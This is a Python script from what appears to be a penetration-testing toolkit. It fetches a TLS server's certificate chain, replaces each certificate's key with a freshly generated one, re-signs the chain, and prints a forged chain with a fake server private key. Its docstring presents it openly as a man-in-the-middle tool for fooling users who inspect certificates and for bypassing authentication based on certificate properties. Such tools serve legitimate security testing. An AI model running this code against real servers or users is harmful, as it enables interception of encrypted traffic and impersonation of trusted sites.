source: trunk/bin/bletchley-clonecertchain @ 72

#!/usr/bin/env python3

# Requires Python 3+

'''
An experimental script which attempts to clone a server certificate's entire 
certificate chain, ideally altering only the keys and signatures along the 
way.

This is useful in a few man-in-the-middle attack situations, including:
- You swap out certificates on a user and the manually inspect the certificate 
  properties before accepting them.  Identical properties are more convincing.

- A product includes special-purpose certificate properties that are validated
  with custom procedures (e.g. client user name, product serial number, ...).  
  If these properties are validated but the certificate's CA isn't, then cloning
  the full set of certificate properties is essential to bypass the 
  authentication.

Currently, this script is somewhat limited and buggy, but will hopefully
improve over time.  Patches welcome!


Copyright (C) 2014 Blindspot Security LLC
Author: Timothy D. Morgan

 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU Lesser General Public License, version 3,
 as published by the Free Software Foundation.

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.

 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>.
'''

import sys
import argparse
import traceback
import socket
try:
    import OpenSSL
    from OpenSSL import SSL
except:
    sys.stderr.write('ERROR: Could not locate pyOpenSSL module.  Under Debian-based systems, try:\n')
    sys.stderr.write('       # apt-get install python3-openssl\n')
    sys.stderr.write('NOTE: pyOpenSSL version 0.14 or later is required!\n')
    sys.exit(2)


def createClientContext():
    tlsClientContext = SSL.Context(SSL.SSLv3_METHOD)
    tlsClientContext.set_verify(SSL.VERIFY_NONE, (lambda a,b,c,d,e: True))
    return tlsClientContext


def fetchCertificateChain(host, port):
    serverSock = socket.socket()
    serverSock.connect((host,port))
    
    try:
        server = SSL.Connection(createClientContext(), serverSock)
        server.set_connect_state()
        server.do_handshake()
    except Exception as e:
        print("Exception during handshake with server: ")
        traceback.print_exc(e)
        return None
        
    return server.get_peer_cert_chain()


def normalizeCertificateName(cert_name):
    n = cert_name.get_components()
    n.sort()
    return tuple(n)


def normalizeCertificateChain(chain):
    # Organize certificates by subject and issuer for quick lookups
    subject_table = {}
    issuer_table = {}
    for c in chain:
        subject_table[normalizeCertificateName(c.get_subject())] = c
        issuer_table[normalizeCertificateName(c.get_issuer())] = c

    # Now find root or highest-level intermediary
    root = None
    for c in chain:
        i = normalizeCertificateName(c.get_issuer())
        s = normalizeCertificateName(c.get_subject())
        if (i == s) or (i not in subject_table):
            if root != None:
                sys.stderr.write("WARN: Multiple root certificates found or broken certificate chain detected.")
            else:
                # Go with the first identified "root", since that's more likely to link up with the server cert
                root = c

    # Finally, build the chain from the top-down in the correct order
    new_chain = []
    nxt = root
    while nxt != None:
        new_chain = [nxt] + new_chain
        s = normalizeCertificateName(nxt.get_subject())
        nxt = issuer_table.get(s)
    
    return new_chain
    

def genFakeKey(certificate):
    fake_key = OpenSSL.crypto.PKey()
    old_pubkey = certificate.get_pubkey()
    fake_key.generate_key(old_pubkey.type(), old_pubkey.bits())

    return fake_key


def getDigestAlgorithm(certificate):
    # XXX: ugly hack because pyopenssl API for this is limited
    if b'md5' in certificate.get_signature_algorithm():
        return 'md5'
    else:
        return 'sha1'


def deleteExtension(certificate, index):
    import cffi
    from cffi import FFI
    ffi = FFI()
    ffi.cdef('''void* X509_delete_ext(void* x, int loc);''')
    libssl = ffi.dlopen('libssl.so')
    ext = libssl.X509_delete_ext(certificate._x509, index)
    #XXX: supposed to free ext here


def removePeskyExtensions(certificate):
    #for index in range(0,certificate.get_extension_count()):
    #    e = certificate.get_extension(index)
    #    print("extension %d: %s\n" % (index, e.get_short_name()), e)

    index = 0
    while index < certificate.get_extension_count():
        e = certificate.get_extension(index)
        if e.get_short_name() in (b'subjectKeyIdentifier', b'authorityKeyIdentifier'):
            deleteExtension(certificate, index)
            #XXX: would be nice if each of these extensions were re-added with appropriate values
            index -= 1
        index += 1
    
    #for index in range(0,certificate.get_extension_count()):
    #    e = certificate.get_extension(index)
    #    print("extension %d: %s\n" % (index, e.get_short_name()), e)


def genFakeCertificateChain(cert_chain):
    ret_val = []
    cert_chain.reverse() # start with highest level authority

    c = cert_chain[0]
    i = normalizeCertificateName(c.get_issuer())
    s = normalizeCertificateName(c.get_subject())
    if s != i:
        # XXX: consider retrieving root locally and including a forged version instead
        c.set_issuer(c.get_subject())
    k = genFakeKey(c)
    c.set_pubkey(k)
    removePeskyExtensions(c)
    c.sign(k, getDigestAlgorithm(c))
    ret_val.append(c)

    prev = k
    for c in cert_chain[1:]:
        k = genFakeKey(c)
        c.set_pubkey(k)
        removePeskyExtensions(c)
        c.sign(prev, getDigestAlgorithm(c))
        prev = k
        ret_val.append(c)

    ret_val.reverse()
    return k,ret_val


parser = argparse.ArgumentParser(
    description="An experimental script which attempts to clone an SSL server's"
    " entire certificate chain, ideally altering only the keys and signatures"
    " along the way.  The script prints results to stdout, starting with a PEM"
    " key (the fake server private key) followed by the newly forged certificate"
    " chain, also in PEM format.  (The new intermediate and root private keys are"
    " not currently printed, but will likely be somehow availble in a future"
    " version.)")

parser.add_argument('host', nargs=1, default=None,
                    help='IP address or host name of server')
parser.add_argument('port', nargs='?', default=443,
                    help='TCP port number of SSL service (default: 443)')
options = parser.parse_args()

#print("REAL CHAIN:")
chain = fetchCertificateChain(options.host[0],options.port)
#for c in chain:
#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))

#chain = normalizeCertificateChain(chain)
#for c in chain:
#    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))

#print("FAKE KEY AND CHAIN:")
fake_key, fake_chain = genFakeCertificateChain(chain)
print(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, fake_key).decode('utf-8'))
for c in fake_chain:
    print(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, c).decode('utf-8'))